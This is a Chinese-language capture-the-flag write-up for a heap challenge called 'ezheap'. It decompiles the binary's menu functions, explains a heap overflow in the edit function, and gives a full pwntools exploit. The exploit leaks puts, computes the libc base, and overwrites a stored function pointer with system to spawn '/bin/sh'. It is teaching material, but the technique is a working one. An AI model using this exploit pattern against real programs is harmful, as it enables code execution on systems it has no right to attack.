题目链接
分析
该程序文件一共有两个,一个是程序本身,一个是其依赖的C语言运行库
我们首先对其 checksec
,查看其保护机制,可以看到其保护机制全开,如果这是一道关于栈溢出的题目,可能会很难做。
我们先运行一下程序,看看是做什么的,这种程序中包含增删改查等操作的,肯定是要动态分配内存的,所以一般情况下都是有关于堆的。
我们将程序放入 64位的 IDA PR0 中,将其反汇编之后,进一步进行分析:
可以看到,里面是由几个函数的,并且我们在输入不同的数字的时候,会有不同的操作,这与我们运行程序看到的逻辑是相同的。
我们先看menu()
函数和getnum()
函数,这两个函数一个是打印出一些内容,一个是读入一些用户的输入,读入输入这里本来应该是有可能出现漏洞的,但是阅读函数可知,这里有正确的边界检查,以及有canary
,所以这里并不能成为利用点。
我们在继续看增删改查
四个函数。
add
首先来看 add 函数,为了方便观察,这里删除了无关的一些判断错误的信息:
int add()
{
__int64 v0; // rbx
__int64 v1; // rax
int idx; // [rsp+0h] [rbp-20h]
int size; // [rsp+4h] [rbp-1Ch]
puts("Input your idx:");
idx = getnum();
puts("Size:");
size = getnum();// 0 <= size <= 256
heaplist[idx] = malloc(0x20uLL);
v0 = heaplist[idx];
*(v0 + 0x10) = malloc(size);
*(v0 + 0x20) = &puts;
sizelist[idx] = size;
puts("Name: ");
read(0, (void *)heaplist[idx], 0x10);
puts("Content:");
read(0, *(void **)(heaplist[idx] + 0x10), sizelist[idx]);
puts("Done!");
v1 = heaplist[idx];
*(v1 + 0x18) = 1;// 删除操作的一个判断条件
return v1;
}
首先,我们输入数据 idx
和size
,然后开始分配:
heaplist[idx] = malloc(0x20uLL);
v0 = heaplist[idx];
*(v0 + 0x10) = malloc(size);
*(v0 + 0x20) = &puts;
sizelist[idx] = size;
puts("Name: ");
read(0, (void *)heaplist[idx], 0x10);
puts("Content:");
read(0, *(void **)(heaplist[idx] + 0x10), sizelist[idx]);
puts("Done!");
v1 = heaplist[idx];
*(v1 + 0x18) = 1;
delete
该函数就是删除堆中给定 idx
的内存块
_QWORD *delete()
{
_QWORD *result; // rax
int v1; // [rsp+Ch] [rbp-4h]
puts("Input your idx:");
v1 = getnum();
if ( v1 >= 0 && v1 <= 16 && *(_DWORD *)(heaplist[v1] + 24LL) )
{
free(*(void **)(heaplist[v1] + 16LL));
free((void *)heaplist[v1]);
sizelist[v1] = 0LL;
*(_DWORD *)(heaplist[v1] + 24LL) = 0;
*(_QWORD *)(heaplist[v1] + 16LL) = 0LL;
result = heaplist;
heaplist[v1] = 0LL;
}
else
{
puts("Error idx!");
result = 0LL;
}
return result;
}
edit
编辑指定索引的堆内存块,将修改的内容写入到:*(heaplist[v1] + 0x10) 所指的地址处
ssize_t edit()
{
int v1; // [rsp+8h] [rbp-8h]
unsigned int nbytes; // [rsp+Ch] [rbp-4h]
puts("Input your idx:");
v1 = getnum();
puts("Size:");
nbytes = getnum();
if ( v1 >= 0 && v1 <= 16 && heaplist[v1] && nbytes <= 0x100 )
return read(0, *(void **)(heaplist[v1] + 0x10), nbytes);
puts("Error idx!");
return 0LL;
}
show
__int64 show()
{
__int64 result; // rax
int v1; // [rsp+Ch] [rbp-4h]
puts("Input your idx:");
v1 = getnum();
if ( v1 >= 0 && v1 <= 15 && heaplist[v1] )
{
(*(void (__fastcall **)(_QWORD))(heaplist[v1] + 0x20))(heaplist[v1]);
result = (*(__int64 (__fastcall **)(_QWORD))(heaplist[v1] + 0x20))(*(_QWORD *)(heaplist[v1] + 0x10));
}
else
{
puts("Error idx!");
result = 0LL;
}
return result;
}
我们对其中关键代码进行简化:
v0 = heaplist[v1];
(*(void (__fastcall **)(_QWORD))(heaplist[v1] + 0x20))(heaplist[v1]);
---- >
[((void (__fastcall **)(__int64))(v0 + 0x20))] (v0);
result = (*(__int64 (__fastcall **)(_QWORD))(heaplist[v1] + 0x20))(*(_QWORD *)(heaplist[v1] + 0x10));
---- >
[((void (__fastcall **)(__int64))(v0 + 0x20))] (*(v0+0x10));
利用思路
我们发现,add 函数将 puts
函数放入堆中,而在 show
函数执行的时候,将会执行 puts
函数,将 name
和 content
中的内容打印出来。
puts
出puts
的地址,然后我们已经知道了所用的libc
的版本,我们就可以得到system
函数的真实地址- 将
system
函数放到puts
函数的位置,再次执行,就可以执行system
函数
EXP
我们首先:
- 写入两个大小为
0x10
的chunk
,其idx为 0 和 1。
此时,堆内存分布如图所示(第 0 个和第 1 个之间是相邻的,为了便于分辨,故而中间留了一道缝隙):
然后,我们编辑第 0 块:
- payload = p64(0) * 3 + p64(0x31) + p64(0) * 2 + p8(0x80)
- edit(0,0x31,payload)
- show(1)
注:
在64位 AMD64 架构的 Linux 系统中,堆内存的对齐要求对齐的。
由于现代操作系统使用分页机制管理内存,堆段的起始地址通常与页面大小对齐。常见的页面大小是4KB(4096字节),因此堆段的起始地址通常是4096的倍数。
就如图中一次运行中的堆的位置,起始位置后 3 位(16进制下)全为 0,
而偏移地址为 0x80 的位置正是 puts
函数的地址,而这个位置本来是指向 content
的指针,现在改成了指向 puts
函数地址所在位置的指针,所以在执行 show
函数之后,将会打印出 puts
函数的真实地址。
此后就是根据 puts
函数的地址,算出 libc
的基址,然后就可找到 system
函数地址。
既然 可以执行 puts
函数,那么只要我们将 其位置的地址替换为 system
即可执行 system
函数。
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b"\x00"))
libc_base = puts_addr - libc.sym["puts"]
system_addr = libc_base + libc.sym["system"]
payload = p64(0) * 3 + p64(0x31) + b"/bin/sh\x00" + p64(0) * 2 + p64(1) + p64(system_addr)
edit(0,0x48,payload)
show(1)
完整EXP
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level = 'debug',arch = 'amd64',os = 'linux')
# node5.anna.nssctf.cn:xxxxx
# io = remote('node5.anna.nssctf.cn',xxxxx)
io = process('./ezheap')
elf = ELF('./ezheap')
libc = ELF('./libc-2.23.so')
#rop = ROP('./xxx')
def choice(idx):
io.sendlineafter(b"Choice: ",str(idx))
def add(idx,size,name,content):
choice(1)
io.sendlineafter(b"Input your idx:",str(idx))
io.sendlineafter(b"Size:",str(size))
io.sendlineafter(b"Name: ",name)
io.sendlineafter(b"Content:",content)
def edit(idx,size,content):
choice(4)
io.sendlineafter(b"Input your idx:",str(idx))
io.sendlineafter(b"Size:",str(size))
io.send(content)
def delete(idx):
choice(2)
io.sendlineafter(b"Input your idx:",str(idx))
def show(idx):
choice(3)
io.sendlineafter(b"Input your idx:",str(idx))
add(0,0x10,b"scc",b"aaaa")
add(1,0x10,b"scc",b"aaaa")
# 这里的 0x80 是基于堆基址的偏移量,是第 1 个 puts 函数存放的位置,这里可以算出来 0x30 + 0x20 + 0x30
# 这里的 payload 填充是从第 0 个的 content 开始的,将其填充为 0 ,再将第一个的 prev_size 填充为 0
# 再将第 1 个的 size 填充为 0x31 ,再将 第 1 个的 name 填充为 0,最后将 show 的地址填充为 puts 地址所在的地方的偏移
# 0x80 放在 malloc_size_addr 的位置,这是因为 show 中 第二次 puts 是拿了这里的值作为地址
payload = p64(0) * 3 + p64(0x31) + p64(0) * 2 + p8(0x80)
edit(0,0x31,payload)
show(1)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b"\x00"))
libc_base = puts_addr - libc.sym["puts"]
system_addr = libc_base + libc.sym["system"]
payload = p64(0) * 3 + p64(0x31) + b"/bin/sh\x00" + p64(0) * 2 + p64(1) + p64(system_addr)
edit(0,0x48,payload)
show(1)
io.interactive()